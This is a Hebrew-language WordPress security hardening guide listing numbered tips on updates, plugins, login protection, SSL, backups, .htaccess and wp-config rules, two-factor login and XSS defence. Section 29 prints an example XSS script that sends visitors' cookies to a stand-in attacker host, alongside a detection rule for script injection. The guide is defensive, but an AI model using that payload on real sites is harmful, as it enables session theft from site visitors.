אבטחת אתר וורדפרס

כבוני אתרים אנו צריכים לעשות הכל כולל הכל בכדי לאבטח את האתר אינטרנט שלנו ושל הלקוחות שלנו. ישנם סעיפים שהם ייהרג ובל יעבור, אך אם אנחנו רוצים לשמור מכל משמר על הנכס הדיגיטלי שלנו אז פעלו לפי הסעיפים ותוכלו להיות רגועים ולישון בשקט מפני האקרים, בוטים וכל מיני גורמים עויינים שינסו לפרוץ את האתר. לפניכם מספר דרכים לחזק את אבטחת אתר הוורדפרס שלכם בכדי למנוע פריצות, למנוע ספאם ולהקשות על האקרים לשבש את פעילותו התקינה של האתר. אין במאמר זה תחליף לפניה לאיש מקצוע המתמחה באבטחת אתרים ואנו מסירים כל אחריות באם יגרם לכם נזק כלשהו לאתר. חשוב לבצע גיבוי מלא לאתר לפני התעסקות עם האתר וקבציו.

מחבר/כותב המאמר: ש. סביר
תאריך: 20/05/2020

גזרו ושמרו…

36 סעיפים להקשחת ההגנה ואבטחת אתר הוורדפרס שלכם – אבטחת הלב של האתר:

1. וורדפרס בגרסא האחרונה.
וורדפרס היא מערכת CMS לניהול תוכן חינמית (במקור נועדה עבור בלוגים) שפותחה על-ידי קהילת מתכנתי קוד פתוח. מערכת הניהול כוללת רכיבים שמרכיבים את המערכת כגון: קוד ליבה Core Code, תבניות עיצוב Themes ותוספים Plugins אשר מפותחים ע"י מתכנתים או חברות צד ג' ומותקנים ומוגדרים ע”י בוני האתרים או בעלי האתר.

עדכון הוורדפרס (קוד ליבה) – בכל שחרור גרסה מתכנתי וורדפרס משפרים את המערכת ומוסיפים תכונות חדשות, משפרים ביצועים ומגבירים יכולות תכונות קיימות על-מנת להישאר מעודכנים בסטנדרטים של הטכנולוגיה.
בנוסף, מתבצעים תיקוני באגים שנמצאו ודווחו ע"י משתמשים/בוני אתרים בפרק הזמן שחלף בין העדכונים,ברוב המקרים עדכוני הגרסה כוללים גם שיפורי אבטחה.

עדכון שוטף של אתר הוורדפרס שלכם יסייע לכם במניעת סיכוני אבטחת באתר שלכם, ובהוספת תכונות ויכולות חדשות. כברירת מחדל, וורדפרס מתקינה באופן אוטומטי עדכוני גרסה  מינוריים אלא אם הוגדר אחרת, עבור עדכוני גרסה גדולים עליכם להפעיל את העדכון באופן ידני (במסך השדרוגים של המערכת אשר נמצא בדשבורד של ממשק הניהול). את העדכונים יש להוריד אך ורק מתוך מערכת הוורדפרס עצמה ולא משום אתר אחר ניתן בקלות למצוא עדכונים ברחבי האינטרנט שיצרו האקרים ואלו יהוו כר נוח לפריצה לאתרכם. ראו זאת כאזהרה.

גיבוי המערכת / אתר האינטרנט: תמיד רצוי לגבות את המערכת לפני ביצוע כל שינוי שהוא או לפני עדכון של המערכת, ישנם מצבים שעדכונים אלו מקריסים את האתר וקשה מאוד לשחזר אם בכלל לנקודה האחרונה לכן חובה לגבות לפני את קבצי האתר אם זה דרך גיבוי בשרת או גיבוי לוקאלי באמצעות תוסף.

PHP היא השפה עליה מבוססת מערכת הוורדפרס כך ששימוש בגירסה האחרונה במערכת שלכם היא מאד חשובה. בד"כ גרסה של PHP נתמכת כשנתיים כשבתווך יוצאים עדכונים מינוריים לשפה ביניהן תיקוני באגים ובעיות אבטחה.

כל מי שמשתמש בגירסת PHP שהיא לא הגרסה האחרונה חשוף ברמה הרבה יותר גבוהה לפריצות מאשר אלו שאצלהם המערכת מעודכנת לגרסה האחרונה. יותר מ 70% ממשתמשי וורדפרס עדיין משתמשים בגרסאות PHP שאינן נתמכות יותר, נתון מפחיד ביותר שיכולים לפרוץ די בקלות לאתרים כאלו.

לינק לאתר: PHP.net בו תוכלו לבדוק מהי הגרסה האחרונה של השפה PHP ואיזה שינויים ותיקונים הכניסו בה.

2. תבנית תמיד מעודכנת לגרסא אחרונה.

תבניות מומלצות:
Ocean-WP – להורדת התבנית  / להורדת תבנית בת
Astra – להורדת התבנית  / מחולל תבנית בת ל- Astra
Hello – להורדת התבנית  / להורדת תבנית בת
Kava Theme – להורדת התבנית

לחנויות Woocommerce:
Flatsome – להורדת התבנית
Astra Pro – להורדת התבנית

כמו כן, מומלץ מאוד להתקין תבנית בת ואני מגדיר זאת כחובה לעבוד על תבנית בת, תבנית בת ניתן להוריד גרסה מהאינטרנט או להשתמש במחולל (גנרטור) תבנית בת או להשתמש בתוסף אשר יוצר לנו בתוך ממשק האדמין את תבנית הבת- לאתר התוסף לחץ כאן

3. תוספים תמיד מעודכנים.
התקנת תוספים רק מהריפוזיטורי (מאגר התוספים של מערכת הוורדפרס) – תוספים בעלי מוניטין ואמינים. רצוי לבדוק מתי התבצע העדכון האחרון לתוסף, כמה הורדות יש לתוסף, מספר ההמלצות ברמת 5 כוכבים ואף להיכנס לאתר התוסף ולהתרשם אם מדובר בתוסף רציני או לא.

4. להסוות פלאגינים
האקרים משתמשים בתוספים כדי לזהות באילו פלגינים האתר משתמש, איזו גרסה של וורדפרס מותקנת בשרת ו/או אילו תבניות בסיס השתמשו. כפי שאתם יודעים, מידע זה כוח.
ההמלצה: ניתן להסיר את כל "חשיפות" המידע האלו ובכך להקשות על האקר.

5. צמצום השימוש בתוספים/פלאגינים למינימום האפשרי
"מרבה תוספים/פלגינים מרבה דאגה" השתמשו בכמה שפחות תוספים באתר שלכם, תוספים יכולים להזיק לאתר שלכם ולהאט את עלייתו ובכך לפגום ולפגוע בחוויית הגלישה, אין לנו מושג מי כתב את התוסף שנרצה להתקין באתר שלנו, מה רמתו המקצועית של המתכנת, האם רמת הקוד שנכתב הוא ברמה טובה?, האם ישנם פרצות אבטחה? את זאת לא נדע אם אנחנו לא מתכנתים מקצועיים. אגב, גם מתכנתים מקצועיים לא פותחים כל תוסף ובודקים מהי תכולתו, ישנם קודים מסובכים שקשה לדעת מה לצפות מהם וכדאי ללמוד מניסיונם של אחרים. אל תתקינו תוספים לא מוכרים, תוספים שלא מעודכנים.

כבו ומחקו תוספים ותבניות עיצוב שאין לכם שימוש בהם. המון פרצות אבטחה מגיעים דווקא מהתוספים ומתבניות העיצוב שכיבינו אך לא מחקנו.

6. שינוי הנתיב לממשק הניהול של וורדפרס
אחת מהדרכים הפופולריות ביותר לפריצה של אתרי וורדפרס היא Brute Force Attack. בהתקפה מסוג זו האקרים מריצים תוכנה שמנסה הרבה קומבינציות של שמות משתמש (usernames) וסיסמאות בכדי להיכנס לממשק הניהול של וורדפרס. במיוחד כשכולם היום יודעים שכתובת הגישה לממשק הניהול של וורדפרס היא wp-admin או wp-login או login.php כל האקר מתחיל יכול להתחיל בקלות עם אותו ניסיון ל Brute Force Attack. ישנם לא מעט תוספים שמאפשרים לחזק את האבטחה של וורדפרס וישנן גם לא מעט פעולות אבטחה שאתם יכולים לבצע על מנת להקדים תרופה למכה. אחד הצעדים שניתן לבצע הוא לשנות את כתובת הגישה לממשק הניהול של וורדפרס. באופן זה, האקרים לא יוכלו למצוא את אותו קישור לממשק הניהול ובכך נקטין משמעותית ניסיון פריצה מסוג זה. קיימים לא מעט תוספי אבטחה לוורדפרס אשר ״ינעלו״ את האתר שלכם ויעזרו לכם למנוע מתקפות Brute-Force (בין היתר).

במידה ויש לכם את יכולת השליטה ב-Firewall (חומת אש)  אנחנו ממליצים להגביל את הגישה לאזורים אלו באופן בלעדי למדינה בה אתם נמצאים גיאוגרפית, למחמירים – מומלץ לבצע הגבלה לכתובות IP מורשות בלבד. ניתן להגן על אזורים אלו על ידי סיסמה ברמת צד השרת שיספק שכבת הגנה נוספת של אבטחה לפני שההאקר או התוכנה הזדונית מגיעים לאזור ההתחברות \ הניהול של ממשק המנהל.

כיצד עושים זאת?
א. דרך אחת היא לשנות בקובץ wp-login.php (אם התקנתם תבנית בת היא נמצאת בספריה של תבנית הבת)
ב. שינוי כתובת הגישה לוורדפרס באמצעות התוסף WPS Hide Login

Wps hide login plugin settings to change wordpress login url or admin url or wp-admin url

באמצעות הגדרת התוסף נוכל לשנות את הנתיב ולקבוע שם נתיב חדש ולהגביל את מס' ניסיונות ההתחברות בכל פעם שמנסים להתחבר לממשק המנהל של אתר הוורדפרס שלנו (מומלץ 3 פעמים)

7. הוספת reCaptcha לטפסים.
–  ReCaptcha הינה פיתוח של צוות מנוע החיפוש Google למניעת הצפה בספאם "דואר זבל" של רובוטים ו/או בוטים, על הגולש ללחוץ בתיבת הסימון שהוא מצהיר שאינו רובוט שהגיע להציף את האתר ולשלוח "דואר זבל" בגרסה הישנה של ReCaptcha היתה מופיעה תיבה שבה מספר תמונות מוקטנות וע"פ שאלה מנחה היה צריך הגולש לבחור היכן הוא רואה את מה שהתבקש בשאלה.

– ניתן להוסיף שדה "מלכודת דבש" שהי למעשה תיבת טקסט מוסתרת שאם במקרה מגיע הרובוט בצד השרת וממלא את התיבה הזו קורה תהליך בדיקה של "המלכודות דבש" והטופס אינו נשלח.

reCAPTCHA

8. הוספת SSL / Https – הגנת המידע באמצעות TLS (תעודת TLS \ SSL)
הרעיון הבסיסי של HTTPS הוא לאפשר ערוץ מאובטח ומוגן יחסית מפני האזנות סתר ושליפת מידע רגיש. זהו יישום המוסיף שכבת הצפנה על פרוטוקול HTTP רגיל. HTPPS בעצם מצפין את כל המידע שנשלח מהדפדפן אל השרת, ובכך מונע זליגה שלו לגורמים זדוניים. כשאנחנו נכנסים לאתר באמצעות פרוטוקול HTTPS, אף אחד לא יכול לדעת מה אנחנו עושים באתר כי התקשורת בינינו לבין האתר מוצפנת.

תעודת TLS מטרתה להצפין את תעבורת המידע בין הגולש (בתור משתמשים מחוברים) לבין השרת בו מאוחסן האתר, עבור זה היא משתמשת בפרוטוקול הנקרא Transport Layer Security) TLS) שהינו הסטנדרט המקובל כיום להעברת מידע מוצפן באינטרנט. ה-TLS מבוסס על מפתח הצפנה ייחודי המותקן בשרת בו מאוחסן האתר שלכם, ובאמצעותו בלבד ניתן לפענח את המידע המקודד לאחר שהגיע אליו. באמצעות תקשורת מבוססת TLS ניתן לוודא שגורמים זדוניים לא יוכלו לצותת לתקשורת המועברת בין הגולש לשרת האחסון.

אבטחת אתר בסיסית ב-HTTPS חשובה במיוחד אם גולשים ב-WiFi. כך, אם אני ב-WiFi של בית קפה ונכנס לאתר מאובטח, בעל בית הקפה יכול לדעת שנכנסתי לאתר הזה אבל אין לו אפשרות לדעת מה עשיתי שם. באתר לא מאובטח, כל אדם עם ידע טכני בסיסי יכול לדלות מהתקשורת ביני לבין האתר את פרטי החשבון שלי, הסיסמא, מספר כרטיס האשראי וכו'. HTTPS חשוב מאד גם אם האתר שלכם הוא אתר תדמיתי שלא מכיל פרטים של גולשים – אבל על אחת כמה וכמה אם האתר שלכם הוא חנות וירטואלית שנעשה בה שימוש בפרטי כרטיס אשראי. כשהגולשים באתר רואים שהאתר שלכם מאובטח, הם ייטו יותר לתת בו אמון ולבצע דרכו פעולות כמו רכישה והשארת פרטים.

איך יודעים אם אתר מאובטח?
אתר שמאובטח באמצעות HTTPS ייראה בשורת ה-URL בצורה הזו: https://www.YourDomain.com

ניתן לקבל תעודת TLS חינם ברוב חברות האחסון כחלק מתהליך הרכישה של חבילת האחסון, למשל תעודת TLS חינמית ודי נפוצה היא של Let’s Encrypt.

9. גיבוי האתר באופן קבוע.
גיבוי… גיבוי… גיבוי… מומלץ, רצוי וחובה לבצע גיבויים על בסיס יומי, שבועי וחודשי. גיבוי הינו המענה הראשוני כנגד כל פריצה לאתר וורדפרס. זכרו, שום אתר אינו מאובטח ב-100%. אתרים ממשלתיים, אתרים של גופי ענק בינלאומיים נפרצים כל יום – גם האתר שלכם בסכנה. את הגיבוי ניתן לבצע דרך תוספים המיועדים לכך, ניתן להוריד את התוספים דרך ספריית התוספים הרשמית של וורדפרס (הריפוזיטורי).

תוספים מומלצים:
– Duplicator
– UpDraft
– All One Migration

רצוי לבצע את הגיבוי על ענן חיצוני (למשל One Drive, Dropbox או כל שירות ענן אחר, ציבורי או פרטי).

* כשמעלים אתר מגיבוי זכרו למחוק את קבצי ה-Zip של הגיבוי, הרבה בוני אתרים מתעלמים מכך ו-"שוכחים" למחוק את הקבצים,  הקבצים האלו נמצאים בדרך כלל בשורש האתר ומכילים למעשה את כל האתר כולל סיסמאות ובסיס נתונים. הגישה אליהם מותנית רק בידיעת שם הקובץ. לא שקל לדעת את שם הקובץ אבל בכל מקרה עדיף לא להשאיר אותם במערכת אחרי סיום השחזור. הקבצים ניתנים להורדה ישירה דבר שחושף את האתר שלכם לפריצה קלה של האקרים מתוחכמים.

10. שימוש נכון בשם משתמש וסיסמא (סיסמא חזקה ושם משתמש מסובך)
היו חכמים בבחירת שם המשתמש והסיסמה לממשק הניהול של וורדפרס. אין להשתמש בסיסמאות נפוצות כגון admin או Admin כשם משתמש ויש לבחור סיסמה מורכבת יותר עם צירוף של אותיות קטנות וגדולות עם מספרים בתווך וקו תחתי. זוהי כנראה אחת הפעולות החשובות ביותר למניעת פריצות, ובצורה אירונית גם הפעולה הכי פשוטה לביצוע.

ולמרות זאת, הרבה בעלי אתרים בוחרים סיסמה פשוטה כגון 1234567890, 12345, 54321 או צירופים פשוטים שונים על מנת שיהיה קל לזכור את הסיסמה. בחרו בסיסמה מורכבת ושמרו אותה במקום בטוח.

זכרו:
– לא להשתמש בשם משתמש ADMIN/admin, בשמכם הפרטי, שם המשפחה שלכם או בשם הדומיין (שם המתחם)
– לא להשתמש במס' תעודת זהות, דוא"ל, טלפון או תאריך לידה כסיסמא
– לא להשתמש בספרות רציפות לדוגמא: 1234567890, 987654321
– לערב אותיות קטנות עם גדולות ומספרים.
– מומלץ להשתמש בתוסף אקסימט.

ביצירת סיסמא בעצמכם ההמלצה היא להשתמש בסיסמאות שאורכן 8 תווים ומעלה, ומורכבת מהתווים:
– אותיות לועזיות קטנות (a-z)
– אותיות לועזיות גדולות (A-Z)
– מספרים (0-9)
– תווים ( *,!-+$#@&)

בנוסף, מנעו מהמערכת להציג מה שגוי בניסיון ההתחברות, שם המשתמש או הסיסמא כאשר מנסים לפרוץ לאתר שלכם, ניתן לשנות הודעות אלו להודעה כללית יותר ע״י הוספת הפונקציה הבאה לקובץ functions.php:

function no_wordpress_errors(){
  return 'הנתונים שהקלדת שגויים, אנא נסו שנית';
}
add_filter( 'login_errors', 'no_wordpress_errors' );

 

11. חסמו בוטים שאינם רצויים (Block Bad Bots).
שיטת העבודה הנפוצה של האקרים לפני שהם מתקיפים היא לשלוח “מרגלים” כדי לבדוק את פני השטח המיועד לפני ביצוע ההתקפה על השרת/אתר. בוטים אלו גונבים את התוכן הפרטי שלך, רוחב פס ומשבשים באופן משמעותי את הסטטיסטיקות של האתר, וכמובן מחפשים את הפרצה דרכו יוכלו לחדור אל תוך האתר שלכם. חסימות של בוטים אלו הן בגדר חובה, תוספי אבטחה תומכים בזה אך יחד עם זאת לפעמים תרצו לעשות זאת בעצמכם ברמת הקוד. אם תרצו לחסום מספר "User-Agents" במקביל, את רשימת מירב הבוטים ניתן למצוא באתר http://www.botreports.com תוכלו לעשות זאת על ידי הוספת הקוד הבא לקובץ .htaccess. בקוד מצורפים מספר בוטים שניתן / רצוי לחסום:

אזהרה! בצעו גיבוי לקובץ htaccess לפני שאתם משנים אותו. שגיאה קטנה בקלות יכולה להפיל את האתר שלכם.

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:[email protected] [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
RewriteRule ^.* - [F,L]

 

12. בחירת חברת אחסון איכותית. – דרישות מינימום לשרת מאובטח

13. התקנת תוסף אבטחה ושימוש בסריקה קבועה של הקבצים באתר
קיימים לא מעט תוספי אבטחה למערכת הוורדפרס שינעלו את האתר שלכם מפני בוטים, רובוטים, סוסים טרויאנים, וירוסים ונוזקות ויעזרו לכם למנוע בין היתר גם מתקפות Brute-Force, תוספי אבטחה יאפשרו לכם לחסום רשתות זדוניות, לחסום פרצות אבטחה, לחייב בחירת סיסמאות חזקות, לסרוק שינויים בקבצי הליבה של וורדפרס, לראות אילו קבצים השתנו, להטמיע חומת אש (Firewall), לעקוב אחר שינויי DNS ועוד…

התוספים המומלצים:
– Wordfence
– Sucuri Security
– iThemes Security

14. לחבר את האתר ל Search Console של גוגל על מנת להתעדכן בעדכוני אבטחה.

15. שינוי הרשאות קבצים ותיקיות דרך C-Pannel או FTP
כדאי לבדוק שהרשאות התיקיות והקבצים באתר הוורדפרס שלכם מוגדרים על פי ההמלצה הרשמית של וורדפרס. זכרו כי תיקיה עם הרשאה 777 יכולה לאפשר לכל אחד ליצור ולערוך קבצים בתיקיה זו.

* ניתן לבצע שינוי להרשאות הקבצים והתיקיות באמצעות ה-cPannel  או דרך תוכנת FTP

How to Quickly Fix the File and Folder Permissions Error in ...

16. אבטחה באמצעות קובץ .htaccess.
קובץ נוסף שיש לבצע עליו חסימה הוא קובץ ה- .htaccess (בשרתי Apache) המכיל את כל הגדרות האתר, כדאי מאוד לבצע את החסימה ברמת השרת וזאת באחריותה של חברת האחסון, במידה ולא ניתן להוסיף את החסימה ברמת השרת נבצע את החסימה ע"י הוספת קוד לקובץ .htaccess:

# .htaccess - Protect .htaccess
<Files ~ "^.*\.([Hh][Tt][Aa])">
    Order Allow,Deny
    Deny from all
    Satisfy all
</Files>

 

17. מעקב אחר לוגים ופעילות באתר

ניתן לעקוב אחר פעולות המבוצעות בממשק הניהול ולתעד פעולות אלו, על מנת לעשות זאת נשתמש בתוסף יומן פעילות שיעבוד ברקע וכך נוכל לצפות בפעילות שהתבצעה באתר מי התחבר?, מה עשו? איזה תוספים התקינו? איזה עריכות נעשו? איזה שינויים בוצעו? האם נוספו קבצי מדיה/תמונות לאתר? אלו הגדרות שונו? ועוד…

תוסף מומלץ שהינו פרי פיתוח ישראלי של חברת פוג'ו (כיום אלמנטור) הוא: ARYO Activity Log , התוסף זה זמין להורדה תחת ספריית התוספים הרשמית של וורדפרס (הריפוזיטורי).

18. הגנה על המחשב האישי שלך
אל תשאירו את עמדת המחשב שלכם במצב פעיל, תדאגו לנעול את המחשב באמצעות סיסמה.
שמרו על המחשב שלכם נקי מוירוסים. אל תגלשו באתרים מפוקפקים פורנו, אתרים להורדת קראקים, פאטצ'ים, תוכנות פרוצות או לאתרים בהם גוגל ממליץ לא לגלוש.
בצעו סריקה חודשית (לפחות) של ווירוסים, סוסים טרויאנים, מיילוורים ונוזקות במחשב
אל תלחצו על לינקים שאינכם יודעים מיהו השוח בוודאות ולוודא שז מקור אמין, צפו בכתובת הקישור למניעת ספקות.

19. שינוי הקידומת (Prefix) של הדאטהבייס
בהתקנת וורדפרס כשבונים אתר חדש לשנות את הקידומת של מסד הנתונים (DataBase) ובחרו שם בדיוק כמו סיסמא להקשות על האקרים להגיע למסד הנתונים ולדלות משם את המידע על האתר.

20. מנעו גישה לתיקיות האתר מתוך הדפדפן
רוב אתרי הוורדפרס אינם מבטלים האפשרות לצפייה בתיקיות האתר. זה כולל את תיקיית התוספים ותיקיית ה-media. מאחר ואינכם רוצים כי לגולשים ולאהקרים תהיה אופציה לצפות בתיקיות האתר דרך הדפדפן הוסיפו את השורה הבאה לקובץ .htaccess הנמצא בספרייה הראשית של האתר:

Options All -Indexes

 

21. להסתיר wp-config.php
wp-config הוא קובץ ההגדרות הראשי של המערכת, המכיל בן היתר את פרטי ההתחברות לשרת ה-Database ומפתחות הצפנה של כל המערכת, קוקיס, סיסמאות וכדומה.
המלצה:  להסתיר wp-config.php כי זה לב ליבו של האתר שלך וכולל פרטים רגישים רבים הקשורים לאבטחת האתר.

זהו הקובץ החשוב ביותר במערכת הוורדפרס שלכם. אבטחו את הקובץ ומנעו גישה אליו על ידי הוספת הקוד הבא לקובץ .htaccess:

<Files wp-config.php>
order allow,deny
deny from all
</Files>

 

22. השבתת פרוטוקול XML-RPC
מגרסת וורדפרס 3.5 ומעלה, אפשרות XML-RPC פתוחה כברירת מחדל. זו מאפשרת לכם להתחבר מרחוק לאתר הוורדפרס שלכם באמצעים שונים. כמו כן היא מאפשרת trackbacks & pingbacks באתר שלכם. לצערינו, האקרים יודעים לנצל זאת על מנת לבצע מתקפות DDoS.

כיום בגרסה החדשה של הוורדפרס XML-RPC משמש את מערכת הוורדפרס לתפעול האתר שלא כדרך הדפדפן. המלצה: להתקין ולהשתמש בפלאגין wp-fail2ban שמבצע חסימה ברמת חומת האש של האתר (Firewall) ברגע שמתבצע ניסיון כניסה דרך ממשק האדמין וניסיונות אלו כושלים או שישנם בקשות חריגות .

אתם יכולים לבטל XML-RPX על ידי שימוש בתוסף הנקרא Disable XML-RPC או ברמת השרת על ידי הוספת השורות הבאות לקבוץ .htaccess או nginx.conf:

# block any attempted XML-RPC requests
<Files xmlrpc.php>
order deny,allow
deny from all
allow from 123.123.123.123
</Files>

 

23. ניהול הרשאות למשתמשים ועורכי תוכן.
נהלו את ההרשאות למערכת הוורדפרס בשיקול דעת והעניקו הרשאות למתכנת/ת, מעצב/ת, עורך תוכן, מקדמי אתרים או מנויים רק לפי הצורך:

הסבר על הרשאות משתמשים הניתנות לבחירה במערכת וורדפרס:
– מנוי (Subscriber) – משתמש רשום לאתר, ללא גישת עריכה כלשהי על תכני האתר, מלבד על הפרופיל האישי שלו.
– תורם (Contributor) – בעל הרשאת כתיבה וניהול הפוסטים של עצמו בלבד, אבל ללא הרשאת פרסום (הפוסטים יועברו לאישור מנהל).
– כותב (Author) – בעל הרשאת כתיבה ופרסום הפוסטים של עצמו בלבד.
– עורך (Editor) – בעל הרשאת כתיבה ופרסום הפוסטים והעמודים שלו ושל אחרים, ללא הרשאה לאזורים “רגישים” באתר.
– מנהל (Administrator) – מנהל האתר, בעל הרשאה לכל האפשרויות הקיימות במערכת ניהול.

24. ביטול אפשרות לעריכת קבצים מתוך ממשק הניהול של מנהל המערכת
משתמשי המערכת יכולים לבצע שינויים בקבצי המערכת מתוך הדשבורד של הוורדפרס דרך "עיצוב > ערוך", רצוי לחסום את הגישה לעריכת הקבצים בכדי לא לפגוע בליבת המערכת ובקבצים אשר שינוי שלהם יגרמו לבעיות באתר.

על מנת לבטל את האפשרות הוסיפו את השורה הבאה לקובץ wp-config.php :

define( 'DISALLOW_FILE_EDIT', true );

 

25. הוספת אימות דו שלבי
הפעלת אימות דו-שלבי לאתר הוורדפרס שלכם (שימוש בזיהוי נוסף כמו מפתח זיהוי ייחודי שמתחלף כל 30 שניות) יכולה לשפר באופן משמעותי את אבטחת האתר ולספק שכבת הגנה נוספת לאימות זהותכם לפני ההתחברות למערכת ניהול האתר. הדרך הקלה לעשות זאת היא על ידי התקנת התוסף Google Authenticator שזמין להורדה תחת ספריית התוספים הרשמית של וורדפרס (הריפוזיטורי) המאפשר אימות דו שלבי באמצעות אפליקציה בסמארטפון שלכם.

בסיום ההתקנות ולאחר ההתחברות הראשונית באמצעות שם משתמש + סיסמה, מופיע מסך נוסף הדורש להכניס קוד ייחודי בין 6 ספרות אשר מתחלף כל 30 שניות.

שימו לב: על מנת לאפשר פעולה זו נדרש להתקין את האפליקציה Google Authenticator על הסמארטפון שלכם הזמינה בחנות גוגל למשתמשי אנדרואיד או באפסטור למשתמשי אייפון.

26. וודאו כי mod_security מופעל
mod_security הוא מודול אבטחה מאד שימושי לשרתים המבוססים על Apache שפותח על ידי בחור בשם Ivan Ristic, מחבר הספר Apache Security. במידה ואתם מאחסנים את האתר שלכם בשרת שיתופי כנראה שמודול זה מופעל אצלכם כברירת מחדל. ישנה אפשרות להפעיל ולכבות מודול זה בצורה פשוטה במידה ואתם משתמשים ב cPanel אך למען אבטחת האתר האתר וודאו כי המודול הזה פעיל:

mod_security in cPanel

27. הסתרת גרסת הוורדפרס.
עדכוני גרסה של וורדפרס בדרך כלל מכילים עדכוני אבטחה. אם תתנו מבט בקוד המקור של אתר הוורדפרס שלכם, תמצאו כי גרסת הוורדפרס שאתם משתמשים בה גלויה לכל. אינפורמציה הזו נגישה להאקרים ונותנת להם מידע במידה והם מחפשים לתקוף אתרים המשתמשים בגרסאות וורדפרס ישנות יותר ובעלות פירצות אבטחה (שכבר ידועות לכל).

על מנת להסתיר את גירסת הוורדפרס הוסיפו את הקוד הבא לקובץ functions.php:

remove_action('wp_head', 'wp_generator');

ניתן גם להשתמש בקוד הזה:

function wpversion_remove_version() {
    return '';
}
add_filter('the_generator', 'wpversion_remove_version');

28. הסתרת הודעות השגיאה ב PHP
וורדפרס מגיע עם מערכת הצגת שגיאות מובנית כחלק מליבת המערכת, אפשרות זו היא נועדה עבור בוני אתרים ומפתחים שרוצים לבצע "דיבוג" של שגיאות הקוד, השגיאות יכולות להופיע בקוד שהוספתם, בתבנית העיצוב או באחד התוספים, אבל… כשמדובר על הקשחת אבטחה והוספת שכבת הגנה נוספת לאתר שלנו אנו נרצה להסתיר את הודעות השגיאה הללו. המידע הזה מקל על האקרים או תוכנות זדוניות, לכן ההמלצה היא להסתיר את הודעות השגיאה. ניתן לעשות זאת על ידי הוספת הקוד הבא לקובץ wp-config.php:

ini_set('display_errors','Off');
ini_set('error_reporting', E_ALL );
define('WP_DEBUG', false);
define('WP_DEBUG_DISPLAY', false);


29. הגנה כנגד XSS בקוד – נגד הזרקות

מתקפת XSS (ראשי תיבות Cross Site Scripting) היא מתקפה שבה סקריפטים זדוניים מוזרקים לתוך האתר דרך טפסי האתר או דרך שורת ה-URL של הדפדפן, את הקוד מריצים בדפדפן של גולשי האתר. לדוגמא: ניתן להזריק XSS כתגובה למאמר כלשהו, תוכן התגובה יכיל תגית סקריפט שנראית כך:

<script>window.location.href="http://attacker-site/?cookie="+document.cookie</script>

במידה והאתר לא מטפל בחולשות האבטחה כנגד הזרקת קוד XSS – הסקריפט יופעל על הדפדפן של הגולש ויגרום לו נזק או ישתול במחשבו של הגולש "עוגיה / Cookies" שתעקוב אחר פעולות ויהיה ניתן לבצע פעולת דיוג "Fishing" לנתונים כגון: סיסמאות לאתרים, כרטיסי אשראי, מידע שהגולש לא ירצה לחשוף.

מערכת הוורדפרס כברירת מחדל יודעת לטפל בתגובות וכנגד XSS (על ידי פונקציה מובנת wp_kses למשל), ניתן לטפל בחולשות XSS על ידי וואלידציה/סנטיזציה לפני הצגת התוכן.

RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.php [F,L]

 

30. שימוש במפתחות הצפנה (Authentication Keys)
כברירת מחדל כל התקנת וורדפרס מגיעה עם קובץ wp-config.php המכיל מפתחות הצפנה ריקים, מפתחות אלו ידועים גם בשם נוסף – “מפתחות אבטחה”. כאשר אנחנו מבצעים את תהליך ההתקנה בדרך המקובלת של וורדפרס – המערכת מייצרת בעבורנו מפתחות הצפנה ייחודיים עבור האתר. שימוש במפתחות הצפנה יחודיים הינו הליך אבטחה מאוד משמעותי כדי להגן על אתר הוורדפרס שלכם.

לדוגמה, כך מגיעים מפתחות הצפנה כברירת מחדל:

define('AUTH_KEY',         'put your unique phrase here');
define('SECURE_AUTH_KEY',  'put your unique phrase here');
define('LOGGED_IN_KEY',    'put your unique phrase here');
define('NONCE_KEY',        'put your unique phrase here');
define('AUTH_SALT',        'put your unique phrase here');
define('SECURE_AUTH_SALT', 'put your unique phrase here');
define('LOGGED_IN_SALT',   'put your unique phrase here');
define('NONCE_SALT',       'put your unique phrase here');

וכך ייראו מפתחות הצפנה תקינים:

define('AUTH_KEY',         'g1:p--}+i^PA$$=|)42V:t=B~yt&C@sCf b&aC!+*bCjA#;k~?8,bn@O?r=s{Xuw');
define('SECURE_AUTH_KEY',  'd{~%uz7haMUBnj1uyFj#c;%:i+RXsIZnMbDF_Vbfg7.G.k{/<|DCDd/n]3HYaL`,');
define('LOGGED_IN_KEY',    '(kd*`9=`#~KT5,T$|+N>~u}S{:HNrh@-xGW+o-{R9->$CAUyWs&bn*[~eR`$Aba~');
define('NONCE_KEY',        'hAt>0=IvpPw-VOs|4).Dw0igo%y=#69]7W~m-),@b_9uo%nnuIwnvc9TGxk6+,}Z');
define('AUTH_SALT',        '8dq/otDMu_zRD=OJd&|?Q@._P&nQ(PpCCA~!sa9SM5,v+CHZm_jZ6;|RO^0AV0Cs');
define('SECURE_AUTH_SALT', '0NszdvRDZ3@Z-Es+sP*;V##^a+B@5`^b$o>fI,mv1d7*A|ta,XH8,;_p- QBKl,c');
define('LOGGED_IN_SALT',   '-nUZV<6/[Dp|oVgHR}_i{NQmDCuIzz9QH5|XKox{.Is^_7o&;d+->V| :5@FzEq~');
define('NONCE_SALT',       'uE=%m/u9Qe,pDQ0gCv!L:$dz&wVs.n6}-W1R0v/Sapo25]!PvfGZ4+cf{dftqR)+');

בצעו בדיקה, במידה ולא מוגדרים לכם בקובץ wp-config.php מפתחות הצפנה ייחודיים אנחנו ממליצים ליצור מפתחות אקראיים בעמוד מחולל המפתחות של וורדפרס ולעדכן אותם בקובץ wp-config.php.

